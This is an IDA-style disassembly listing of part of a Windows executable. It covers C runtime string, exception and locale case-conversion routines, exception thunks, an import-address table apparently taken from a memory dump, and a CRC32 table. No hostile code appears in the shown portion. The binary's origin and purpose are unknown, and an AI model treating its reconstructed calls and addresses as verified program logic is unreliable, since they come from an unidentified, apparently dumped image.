; =============== S U B	R O U T	I N E =======================================



sub_426465	proc near		; CODE XREF: sub_41843B+21p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648C
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41BEB5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648C
		push	esi
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648C:				; CODE XREF: sub_426465+7j
					; sub_426465+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426465	endp


; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: ___:004264A8p
		mov	dword ptr [ecx], offset	off_427CEC
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4264A4
		push	ecx
		call	sub_41BA91
		pop	ecx

locret_4264A4:				; CODE XREF: sub_426490+Bj
		retn
sub_426490	endp

; ---------------------------------------------------------------------------


loc_4264A5:				; DATA XREF: ___:off_427CECo
		push	esi
		mov	esi, ecx
		call	sub_426490
		test	byte ptr [esp+8], 1
		jz	short loc_4264BB
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264BB:				; CODE XREF: ___:004264B2j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_4264C1:				; DATA XREF: ___:off_427CF4o
		push	esi
		mov	esi, ecx
		call	sub_426564
		test	byte ptr [esp+8], 1
		jz	short loc_4264D7
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4264D7:				; CODE XREF: ___:004264CEj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264DD	proc near		; CODE XREF: sub_4260FE+1Dp
					; sub_4261D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		push	dword ptr [edi]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42650C
		push	dword ptr [edi]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_42650C:				; CODE XREF: sub_4264DD+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4264DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42651A	proc near		; CODE XREF: sub_426218+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427CF4
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_426557
		push	dword ptr [edi+4]
		call	sub_41B9C0
		inc	eax
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42655D
		push	dword ptr [edi+4]
		push	eax
		call	sub_41C890
		pop	ecx
		pop	ecx
		jmp	short loc_42655D
; ---------------------------------------------------------------------------


loc_426557:				; CODE XREF: sub_42651A+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_42655D:				; CODE XREF: sub_42651A+2Ej
					; sub_42651A+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42651A	endp


; =============== S U B	R O U T	I N E =======================================



sub_426564	proc near		; CODE XREF: sub_4260BA+16j
					; ___:004264C4p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427CF4
		jz	short locret_426579
		push	dword ptr [ecx+4]
		call	sub_41D65F
		pop	ecx

locret_426579:				; CODE XREF: sub_426564+Aj
		retn
sub_426564	endp


; =============== S U B	R O U T	I N E =======================================



sub_42657A	proc near		; DATA XREF: ___:00427CF8o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_426586
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_426586:				; CODE XREF: sub_42657A+5j
		retn
sub_42657A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426587	proc near		; CODE XREF: sub_426173+37p
					; sub_42629A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D10
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	near ptr 2660353h
		nop
		pop	edi
		pop	esi
		leave
		retn	8
sub_426587	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4265C1	proc near		; CODE XREF: sub_4263E5+56p
					; sub_4263E5+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_4265D3
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265D3:				; CODE XREF: sub_4265C1+Bj
		cmp	dword_4DBE84, 0
		jnz	short loc_4265ED
		cmp	ax, 41h
		jb	short locret_426634
		cmp	ax, 5Ah
		ja	short locret_426634
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_4265ED:				; CODE XREF: sub_4265C1+19j
		cmp	ax, 100h
		jnb	short loc_426607
		push	1
		push	eax
		call	sub_42686F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426607
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426607:				; CODE XREF: sub_4265C1+30j
					; sub_4265C1+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DBE84
		call	sub_426636
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426634
		mov	ax, [ebp+var_2]

locret_426634:				; CODE XREF: sub_4265C1+1Fj
					; sub_4265C1+25j ...
		leave
		retn
sub_4265C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426636	proc near		; CODE XREF: sub_4265C1+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DC010, esi
		jnz	short loc_4266AC
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_42668A
		mov	dword_4DC010, ebx
		jmp	short loc_4266AC
; ---------------------------------------------------------------------------


loc_42668A:				; CODE XREF: sub_426636+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset word_4CB88C
		push	edi
		push	esi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	loc_42682B
		mov	dword_4DC010, 2


loc_4266AC:				; CODE XREF: sub_426636+2Ej
					; sub_426636+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_4266C1
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_42683F
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_4266C1:				; CODE XREF: sub_426636+79j
		mov	eax, dword_4DC010
		cmp	eax, 1
		jnz	short loc_4266E8
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2640000h
		nop
		jmp	loc_42682D
; ---------------------------------------------------------------------------


loc_4266E8:				; CODE XREF: sub_426636+93j
		cmp	eax, 2
		jnz	loc_42682B
		cmp	[ebp+arg_18], esi
		jnz	short loc_4266FE
		mov	eax, dword_4DBE94
		mov	[ebp+arg_18], eax


loc_4266FE:				; CODE XREF: sub_426636+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 28510E6h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_42682B
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426744
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426744:				; CODE XREF: sub_426636+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 28510E6h
		test	eax, eax
		jz	loc_42682B
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_42682B
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4267C7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_4267C7:				; CODE XREF: sub_426636+17Dj
		cmp	ebx, esi
		jz	short loc_42682B
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_42682B
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426805
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426827
		cmp	eax, edi
		jl	short loc_4267F6
		mov	eax, edi


loc_4267F6:				; CODE XREF: sub_426636+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_426827
; ---------------------------------------------------------------------------


loc_426805:				; CODE XREF: sub_426636+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_42680E
		push	esi
		push	esi
		jmp	short loc_426814
; ---------------------------------------------------------------------------


loc_42680E:				; CODE XREF: sub_426636+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426814:				; CODE XREF: sub_426636+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2700000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_42682B


loc_426827:				; CODE XREF: sub_426636+1B8j
					; sub_426636+1CDj
		mov	eax, edi
		jmp	short loc_42682D
; ---------------------------------------------------------------------------


loc_42682B:				; CODE XREF: sub_426636+66j
					; sub_426636+B5j ...
		xor	eax, eax


loc_42682D:				; CODE XREF: sub_426636+ADj
					; sub_426636+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426636	endp


; =============== S U B	R O U T	I N E =======================================



sub_42683F	proc near		; CODE XREF: sub_426636+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42685E


loc_42684F:				; CODE XREF: sub_42683F+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_42685E
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_42684F


loc_42685E:				; CODE XREF: sub_42683F+Ej
					; sub_42683F+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_42686C
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_42686C:				; CODE XREF: sub_42683F+24j
		mov	eax, edx
		retn
sub_42683F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42686F	proc near		; CODE XREF: sub_4265C1+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_4268AF
		cmp	[ebp+arg_0], 100h
		jnb	short loc_426893
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43CE7C
		mov	ax, [ecx+eax*2]
		jmp	short loc_4268B6
; ---------------------------------------------------------------------------


loc_426893:				; CODE XREF: sub_42686F+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_4268C1
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4268B3


loc_4268AF:				; CODE XREF: sub_42686F+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4268B3:				; CODE XREF: sub_42686F+3Ej
		mov	eax, [ebp+var_4]


loc_4268B6:				; CODE XREF: sub_42686F+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_42686F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268C1	proc near		; CODE XREF: sub_42686F+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427D48
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DC014
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_426930
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_42690E
		mov	eax, esi
		jmp	short loc_42692B
; ---------------------------------------------------------------------------


loc_42690E:				; CODE XREF: sub_4268C1+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB88C
		push	esi
		push	edi
		nop
		call	near ptr 26007F7h
		test	eax, eax
		jz	loc_426A72
		push	2
		pop	eax


loc_42692B:				; CODE XREF: sub_4268C1+4Bj
		mov	dword_4DC014, eax


loc_426930:				; CODE XREF: sub_4268C1+2Fj
		cmp	eax, 1
		jnz	short loc_42694C
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2600000h
		jmp	loc_426A74
; ---------------------------------------------------------------------------


loc_42694C:				; CODE XREF: sub_4268C1+72j
		cmp	eax, 2
		jnz	loc_426A72
		cmp	[ebp+arg_10], edi
		jnz	short loc_426962
		mov	eax, dword_4DBE94
		mov	[ebp+arg_10], eax


loc_426962:				; CODE XREF: sub_4268C1+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 28510E6h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_426A72
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4269C0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_4269C0:				; CODE XREF: sub_4268C1+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_426A72
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 28510E6h
		test	eax, eax
		jz	loc_426A72
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_426A15
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_426A15:				; CODE XREF: sub_4268C1+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_426A72
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_426A29
		mov	eax, dword_4DBE84


loc_426A29:				; CODE XREF: sub_4268C1+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 26007F7h
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_426A72
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_426A72
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41D670
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_426A74
; ---------------------------------------------------------------------------


loc_426A72:				; CODE XREF: sub_4268C1+61j
					; sub_4268C1+8Ej ...
		xor	eax, eax


loc_426A74:				; CODE XREF: sub_4268C1+86j
					; sub_4268C1+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4268C1	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_426A88	proc near		; DATA XREF: ___:00427EFCo

; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D76C
sub_426A88	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426AA6
		mov	ecx, [ebp+8]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------

locret_426AA6:				; CODE XREF: ___:00426A98j
		retn
; ---------------------------------------------------------------------------


loc_426AA7:				; DATA XREF: sub_40D340o
		mov	eax, offset dword_427ED0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426ABC:				; DATA XREF: ___:00427F2Co
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AC4:				; DATA XREF: sub_40D4E2o
		mov	eax, offset dword_427F00
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		align 10h


loc_426AD0:				; DATA XREF: sub_40DA4Fo
		mov	eax, offset dword_427F30
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426AE2:				; DATA XREF: sub_4260FEo
		mov	eax, offset dword_427F90
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426AF4:				; DATA XREF: sub_426173o
		mov	eax, offset dword_428028
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-14h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B06:				; DATA XREF: sub_4261D0o
		mov	eax, offset dword_42804C
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_426564
; ---------------------------------------------------------------------------


loc_426B18:				; DATA XREF: sub_426218o
		mov	eax, offset dword_428070
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_40D76C
; ---------------------------------------------------------------------------


loc_426B2A:				; DATA XREF: sub_42629Ao
		mov	eax, offset dword_4280D0
		jmp	loc_41D2FB
; ---------------------------------------------------------------------------
		dd 133h	dup(0)
		dd 25E0000h, 25F0000h, 25F0AB1h, 25F0B71h, 25F0F33h, 2600000h
		dd 26007F7h, 2610000h, 26105BFh, 2620000h, 26208F0h, 2620B2Dh
dword_427030	dd 2620B71h		; DATA XREF: ___:004239E2r
		dd 2620BE5h, 2620E43h, 2620E82h, 2630000h, 2640000h, 2650000h
		dd 2660000h, 2660353h, 266082Ah, 2660857h, 2670000h, 26707CBh
dword_427064	dd 2670CA8h		; DATA XREF: sub_41F216:loc_41F247r
dword_427068	dd 2670E21h		; DATA XREF: sub_41E742+240r
		dd 77E75CB5h
dword_427070	dd 2680000h		; DATA XREF: sub_40111D+B8r
					; ___:004014FCr ...
		dd 26802D4h, 268050Ah, 2690000h
dword_427080	dd 269040Ah		; DATA XREF: sub_40111D+29r
					; sub_40C3E8+2E9r ...
dword_427084	dd 2690496h		; DATA XREF: ___:004015E2r
					; sub_4116D6+32r
		dd 269063Fh
dword_42708C	dd 26906DBh		; DATA XREF: sub_419C09+B9r
		dd 2690C3Ch
dword_427094	dd 2690C56h		; DATA XREF: sub_4119F9:loc_411A8Ar
dword_427098	dd 26A0000h		; DATA XREF: ___:loc_4013DCr
		dd 26A0406h, 26A04C6h
dword_4270A4	dd 26A0587h		; DATA XREF: sub_409909+2r
		dd 26A0708h, 26A07C7h
dword_4270B0	dd 26A0D72h		; DATA XREF: ___:0040124Dr
					; sub_41AA1E+8Cr
dword_4270B4	dd 26A0E14h		; DATA XREF: sub_4116D6:loc_4117C2r
		dd 26B0000h, 26B0BA0h
dword_4270C0	dd 26C0000h		; DATA XREF: sub_409909:loc_409E17r
dword_4270C4	dd 26C0450h		; DATA XREF: sub_409909+11r
					; sub_4172C1+60r ...
		dd 26D0000h, 26E0000h, 26E066Ah, 26F0000h, 77F7E300h, 77F7E21Fh
		dd 26F05E8h, 26F0788h
dword_4270E8	dd 2700000h		; DATA XREF: sub_419177+Fr
					; sub_41E0D4+54r
dword_4270EC	dd 2710000h		; DATA XREF: sub_4119F9+Br
		dd 2720000h, 2730000h
dword_4270F8	dd 2730896h		; DATA XREF: sub_4187E0+36r
		dd 2730AC4h, 2740000h
dword_427104	dd 27405B8h		; DATA XREF: sub_411920+3Ar
					; sub_41A1B1+79r
dword_427108	dd 2750000h		; DATA XREF: sub_411827+23r
					; sub_41A1B1+3Br
		dd 2760000h, 2770000h, 2770C45h, 2780000h, 2780659h, 2790000h
		dd 27A0000h, 27B0000h, 27B0C5Dh, 27C0000h, 27C00D2h, 27C0279h
		dd 27C0554h, 27D0000h, 27D081Ah
dword_427148	dd 27E0000h		; DATA XREF: sub_4172C1+BCr
		dd 27E0580h
dword_427150	dd 27F0000h		; DATA XREF: sub_417493+21r
					; sub_41761C+4Ar
dword_427154	dd 27F0B00h		; DATA XREF: sub_417493+10r
					; sub_41761C+40r ...
		dd 27F0B6Ch
dword_42715C	dd 2800000h		; DATA XREF: sub_41761C+56r
		dd 280025Dh, 2810000h, 2820000h, 28206E8h, 2830000h, 2830368h
		dd 283051Ch, 2840000h, 28406E4h, 2850000h
dword_427188	dd 28510E6h		; DATA XREF: sub_4190A5+13r
					; ___:00423A57r
		dd 2860000h, 28604B0h, 286092Bh, 2860C83h, 2870000h, 2880000h
		dd 2890000h, 28A0000h, 28A1ACFh, 28A1ADFh, 28B0000h, 28B1036h
		dd 28B1146h, 0
		dd 71AB5A01h, 71AB4122h
dword_4271CC	dd 71AB1746h		; DATA XREF: sub_4131EC+1DEr
		dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
		dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB12F8h, 71AB1746h
		dd 71AB3E5Dh
dword_4271FC	dd 71AB5690h		; DATA XREF: sub_40E9FB+6Ar
		dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
		dd 71AB157Eh, 2	dup(0)
dword_427220	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
